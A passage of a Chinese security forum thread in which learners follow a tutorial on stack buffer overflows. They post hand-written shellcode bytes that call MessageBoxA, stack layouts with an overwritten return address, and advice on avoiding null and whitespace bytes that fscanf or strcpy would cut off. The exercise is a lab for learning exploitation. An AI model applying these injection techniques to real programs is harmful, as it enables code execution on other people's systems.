能力值:
(RANK:330 )
26 楼
可以试试装两个,我就是两个一起用的
能力值:
( LV2,RANK:10 )
27 楼
吱——吱——吱
学习~~
来晚了
能力值:
( LV2,RANK:10 )
28 楼
支持,学习学习
能力值:
( LV12,RANK:2670 )
29 楼
failwest费了不少时间和精力,感谢!
能力值:
( LV2,RANK:10 )
30 楼
顶起来,让更多的人看到
能力值:
( LV2,RANK:10 )
31 楼
call 77D505FC ;MessageA
;后面我把后面一些90改成如下:
83 04 c4 add esp,0c
68 33114000 push 00401133 ;返回地址
68 80ff1200 push 0012ff80
5d pop ebp
c3 ret
;后面不变
我遇到的问题是读入数据的时候83 04 c4程序只读了2个字节。83 04 00.后面就没被读入了啊~
是什么原因啊????
真是搞不明白啊!
能力值:
( LV2,RANK:10 )
32 楼
call 77D505FC ;MessageA
;后面我把后面一些90改成如下:
83 04 c4 add esp,0c
68 33114000 push 00401133 ;返回地址
68 80ff1200 push 0012ff80
5d pop ebp
c3 ret
;后面不变
我遇到的问题是读入数据的时候83 04 c4程序只读了2个字节。83 04 00.后面就没被读入了啊~
是什么原因啊????
真是搞不明白啊!
能力值:
( LV2,RANK:10 )
33 楼
83 c4 0c add esp,0c
第一个的2进制码是这个哈·就是读到0c就读不 进去了啊!
能力值:
( LV2,RANK:10 )
34 楼
函数strcpy把字符“00”视为中止符,复制字符一直到“00”为止……
能力值:
( LV9,RANK:210 )
35 楼
不是strcpy的问题,是fscanf函数,这个函数在读文件数据时,碰到 00,09,0A,0B,0C,0D,20 时,就会停止往下读。
所以,在password.txt文件中,不能有上述数据
如果碰巧你的User32.MessageBoxA 函数地址的数值中正好包含上面数据中的某一个的话, 那么,恭喜你,这个实验,你恐怕很难玩成了
能力值:
( LV2,RANK:10 )
36 楼
这是我的结果,
第三课的
这一课的
课后题还没做,我的想法是,password.txt后面再加汇编代码:跳到"Congratulation! You have passed the verification!\n"上,但是不会加!
能力值:
( LV2,RANK:10 )
37 楼
哦,原来如此~~搞了一晚上了·
但是我试了00好像得行哦~
能力值:
( LV2,RANK:10 )
38 楼
快些出下期哟
能力值:
( LV13,RANK:1050 )
39 楼
哈,做第4排看
能力值:
( LV2,RANK:10 )
40 楼
成功了
吱……
能力值:
( LV2,RANK:10 )
41 楼
shellcode不会写啊,
33 DB XOR EBX,EBX 压入NULL结尾的”failwest”字符串。之所以用EBX清零后入栈做为字符串的截断符,是为了避免“PUSH 0”中的NULL,否则植入的机器码会被strcpy函数截断。
53 PUSH EBX
68 77 65 73 74 PUSH 74736577
68 66 61 69 6C PUSH 6C696166
8B C4 MOV EAX,ESP EAX里是字符串指针
53 PUSH EBX 四个参数按照从右向左的顺序入栈,分别为:
(0,failwest,failwest,0)
消息框为默认风格,文本区和标题都是“failwest”
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 EA 04 D8 77 MOV EAX, 0x77D804EA 调用MessageBoxA。注意不同的机器这里的
函数入口地址可能不同,请按实际值填入!
FF D0 CALL EAX
这里
53 PUSH EBX
68 77 65 73 74 PUSH 74736577
68 66 61 69 6C PUSH 6C696166
是干什么的?
eax里面为什么是字符串指针?
本人刚接触,比较苯啦,希望大牛们多多指点,谢谢哦!
另外楼主真的很用心啊,再次感谢,顶,多出些好东西哈!`
能力值:
( LV9,RANK:170 )
42 楼
本来是来发问的,不过看的上面仁兄的问题,先帮你解释一下先吧。
ESP = 栈顶指针 EBP = 栈基地址
每次push 的时候,ESP - 4(32位的啊),
依据
53 PUSH EBX
68 77 65 73 74 PUSH 74736577
68 66 61 69 6C PUSH 6C696166
这3个push,那么ESP就 - 了0ch
由于栈是一个从高向低压数据的结构,那么ESP 自然而然的就是递减,而3个push之后的并且ESP又永远指向栈顶,那么ESP自然而然就指向了字符串的首地址,这样解释不知道理解否。
下面是我的问题:
功能实现了,就是思考题部分,写返回代码的问题,我只是想再多call一个ExitProcess,关进程走人,但是每次在call完MessageBoxA之后就先挂了,填充到栈里的代码也作废了,一直没调试明白,希望高人指点一二!
能力值:
( LV9,RANK:210 )
43 楼
第6讲中已经给出了答案
能力值:
( LV2,RANK:10 )
44 楼
那么如何把字符串放到内存中呢?
原文中的
68 77 65 73 74 PUSH 74736577
68 66 61 69 6C PUSH 6C696166
这2个地址是如何得到的呢?
有没有好点的方法可以直接写字符串进内存呢?
我这样写的:
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
这只是一个参数,如果有多个参数怎么写?并且cpu怎么知道一个参数结束了,新的地址放的是第2个参数呢?是不是参数结尾加个'\0'呢?要加的话要怎么加呢?
感谢fqucuo的回复,thanks!
能力值:
( LV2,RANK:10 )
45 楼
呵呵 咱也成功了``加油
能力值:
( LV2,RANK:10 )
46 楼
我弹出自己写的 thankyou了 呵呵 但是这里不能贴图``遗憾啊 和大家分享下 喜悦 呵呵
也不枉我这个时候才睡觉 多谢 作者大大拉 加油写哦! 支持你!
能力值:
( LV2,RANK:10 )
47 楼
为什么我把返回地址改成buffer的首地址就报错?我的是英文2003操作系统,
The exception Privileged instruction
(0xc0000096) occueeed in the application at location 0x0012fb1c
为什么啊?buffer的地址是没有问题的!
0012FB10 CCCCCCCC
0012FB14 buffer 31323334
0012FB18 buffer+4 31323334
0012FB1C authenticated 31323334
0012FB20 ebp 31323334
0012FB24 ip 返回地址 0012FB14
0012FB28 password 0012FB7C
看,返回地址那栏我覆盖成0012fb14,而0012fb14正好是buffer的首地址,为什么直接运行会出上述错误呢?莫名其妙啊!`
能力值:
( LV9,RANK:210 )
48 楼
你那0012fb14地方上数据是31323334,又不是指令代码,程序运行到这里来,自然出错.
所以,你要将此处的数据改写成指令码,如何改,failwest 老师已经讲得很明白了...
能力值:
( LV2,RANK:10 )
49 楼
好,照你说的继续
换成44个字节的
0012FAF0 5853DB33 buffer
0012FAF4 74736577 buffer+4
0012FAF8 69616668
0012FAFC 53C48B6C
0012FB00 B8535050
0012FB04 773BD8DE user32.MessageBoxA
0012FB08 9090D0FF
0012FB0C 90909090
0012FB10 90909090
0012FB14 90909090
0012FB18 90909090 buffer+44
0012FB1C 0040106C justt.0040106C authenticated
0012FB20 90909090 ebp
0012FB24 0012FAF0 ip 返回地址
这次0012faf0总是可执行的机器码了吧?
全是跟failwest一样的,MessageBoxA的地址是我本机的地址为
0x77380000+0x0003d8de=0x773bd8de
MOV EAX,0X773BD8DE对应的指令为B8 DE D8 3B 77
上图已经说明了凋用的MessageBoxA没有问题了,可是还是没有弹出消息框!
报错为:
The exception Breakpoint
Abreakpoint has been reached
(0x80000003) occurred in the application at location 0x0012fa6c
好象说是什么碰到什么断点了,可是我没没有下任何的断点啊?究竟是怎么回事?
能力值:
( LV9,RANK:210 )
50 楼
堆栈上的数据有问题,你构造password.txt文件上数据不对
前四个数据怎么是:5853DB33 (好像你填写数据的高低字节顺序全部弄反了)
应该是:33DB5368, 堆栈上的数据应该应形成以下指令码:
33 DB XOR EBX,EBX
53 PUSH EBX
68 77 65 73 74 PUSH 74736577
68 66 61 69 6C PUSH 6C696166
8B C4 MOV EAX,ESP
53 PUSH EBX
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 EA 04 D8 77 MOV EAX,0x77D804EA 调用MessageBoxA。注意不同的机器这里的
FF D0 CALL EAX
在OD的反汇编窗口中,你可以看看是不是这样的代码? 不要在堆栈中看